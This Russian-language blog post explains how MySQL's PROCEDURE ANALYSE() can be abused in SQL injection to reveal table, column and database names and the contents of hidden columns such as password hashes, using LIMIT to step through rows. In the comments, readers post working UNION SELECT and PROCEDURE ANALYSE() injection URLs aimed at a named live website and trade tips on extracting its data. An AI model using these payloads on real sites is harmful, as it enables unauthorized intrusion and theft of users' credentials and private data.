SQL-инъекции и PROCEDURE ANALYSE()

PROCEDURE ANALYSE() – это процедура MySQL, которая исследует запрос и предлагает оптимальные типы данных для каждой колонки, участвующей в запросе. Процедура работает во всех версиях MySQL, начиная с третьей.

Синтаксис:
SELECT … FROM … WHERE … PROCEDURE ANALYSE([max_elements,[max_memory]])

При вызове процедуры, весь результат запроса переписывается и возвращаются следующие данные:

mysql> SELECT user_login, user_pass FROM wp_users WHERE ID=1 PROCEDURE ANALYSE();
+------------------------+------------------------------------+------------------------------------+------------+------------+------------------+-------+-------------------------+------+-----------------------------------------------------+

| Field_name             | Min_value                          | Max_value                          | Min_length | Max_length | Empties_or_zeros | Nulls | Avg_value_or_avg_length | Std  | Optimal_fieldtype                                   |

+------------------------+------------------------------------+------------------------------------+------------+------------+------------------+-------+-------------------------+------+-----------------------------------------------------+

| wp.wp_users.user_login | admin                              | admin                              |          5 |          5 |                0 |     0 | 5.0000                  | NULL | ENUM('admin') NOT NULL                              |
| wp.wp_users.user_pass  | $P$BRxeOjv1sgBVgV82vO524AqG/5EdDD0 | $P$BRxeOjv1sgBVgV82vO524AqG/5EdDD0 |         34 |         34 |                0 |     0 | 34.0000                 | NULL | ENUM('$P$BRxeOjv1sgBVgV82vO524AqG/5EdDD0') NOT NULL |

+------------------------+------------------------------------+------------------------------------+------------+------------+------------------+-------+-------------------------+------+-----------------------------------------------------+

2 rows in set (0.00 sec)

Ни один из аргументов PROCEDURE ANALYSE() не позволяет использовать подзапросы внутри них, однако процедуру можно использовать в SQL-инъекциях для получения имен колонок, которые участвуют в выборке, таблицы и текущей базы данных. Особенно это актуально для MySQL версии 4, где нет системной базы данных information_schema, хранящей информацию о всех БД, таблицах и их колонках. К сожалению, имеется ряд ограничений:

  • процедура позволяет узнать имя только той таблицы, ее колонок и базы данных, которые непосредственно участвуют в запросе
  • эти данные находятся в первом столбце (Field_name), и в такой ситуации многое зависит от конкретного веб-приложения – от того, как оно выводит данные, возвращаемые базой данных

Для перебора записей с необходимыми данными возможно использование оператора LIMIT:
SELECT user_login, user_pass FROM wp_users WHERE ID=1 PROCEDURE ANALYSE() — вернет первую запись при условии, что веб-приложение допускает получение нескольких записей, но выводит только первую
SELECT user_login, user_pass FROM wp_users WHERE ID=1 LIMIT 1,1 PROCEDURE ANALYSE() — вернет вторую запись (wp.wp_users.user_pass)

Кроме столбца Field_name интерес представляют Min_value, Max_value и Optimal_fieldtype, которые выводят содержание соответствующих столбцов. Эту возможность можно использовать в такой ситуации:

  • имеется уязвимое веб-приложение, отображающее профили зарегистрированных пользователей;
  • параметр ID не фильтруется;
  • запрос для получения данных из БД имеет вид:
    SELECT * FROM users WHERE id=1
    в таблице users имеются столбцы login и status, последний отвечает за уровень привилегий пользователя;

Таким образом, используя PROCEDURE ANALYSE() и LIMIT, становится возможным подобрать запись пользователя с привилегиями администратора, и выявить содержание недоступных столбцов, в частности с паролями и другой конфиденциальной информацией пользователей. Правда, как уже говорилось, успех зависит от того, как веб-приложение обрабатывает и выводит данные из БД.

Читайте форум sla.ckers.org, там еще много чего интересного 😉

Join the Conversation

14 Comments

  1. А на каком-нибудь рабочем примере показать?
    Спасибо!

  2. Респект! Я как раз мучился – мускуль 4-ый – нет возможности получить инфу о таблицах. и тут такая прекрасная идея!!! Уже префикс знаю ну и таблицу нашел )) PROCEDURE ANALYSE() – выручил 😉
    ЗЫ
    А есть ли какая возможность в 5 мускуле просмотреть таблицы в БД mysql если нет привилегий?

  3. Не мог бы ты на конкретном примере показать, как этим пользоваться.

    Имеем уязвимый сайт – http://www.barcelo.edu.ar/vernoticia.php?id=522

    Воспользуемся уязвимостью –
    http://www.barcelo.edu.ar/vernoticia.php?id=-1+union+select+1,2,3,4,5,6,7,8,CAST(version()+AS+char),CAST(database()+AS+char),CAST(user()+AS+char),12,13,14,15,16,17,18,19,20,21/*

    Точно присутствуют таблицы: ‘imagenes’, ‘areas’,’novedades’

    Как используя PROCEDURE ANALYSE() можно получить имена колонок этих таблиц?

  4. С помощью PROCEDURE ANALYSE() можно узнать имена только тех таблиц с их колонками, из которых производится выборка в оригинальном запросе, т.е. необходимо найти другую SQL-инъекцию в запросе, в котором участвует одна из этих таблиц

  5. В вашем случае при запросе

    http://www.barcelo.edu.ar/vernoticia.php?id=522 PROCEDURE ANALYSE()-- -

    возникает еще одна ошибка, значит результат одного запроса попадает в другой

  6. Разег,у меня вообще на страничке после этого запроса ничего не отображается.Помимо 522+procedure+analyse(выборке тоесть) есть ещё выкрутасы? Мб в where,limit,order,group и т.д.?У меня чет нигде не работает.

  7. Возможность вывода необходимой информации зависит от исходного запроса, в частности PROCEDURE ANALYSE() после ORDER BY вызывает ошибку:

    Can’t use ORDER clause with this procedure

  8. PROCEDURE ANALYSE() не будет работать, для вывода данных на страницу использовался ассоциативный массив (а так чаще всего и бывает). Вот пример:

    $sql=mysql_query(“select `id`,`name` from `mp3_type` procedure analyse()”);
    $row=mysql_fetch_array($sql);

    Елемент массива $row[‘id’] – неопределен, а $row[0] – определен. Чаще всего для вывода используется $row[‘id’], и соответственно мы не увидим результатов выполнения PROCEDURE ANALYSE(), а вто если любой другой метод ($row[0], mysql_result, etc…) то все запашет наура.

  9. класс , плохо что только название таблицы с которой работаем можна узнать, но все же1 и еще бока с ассоциативным масивом!!

    молодца ^__^

Leave a comment

Your email address will not be published.

This site uses Akismet to reduce spam. Learn how your comment data is processed.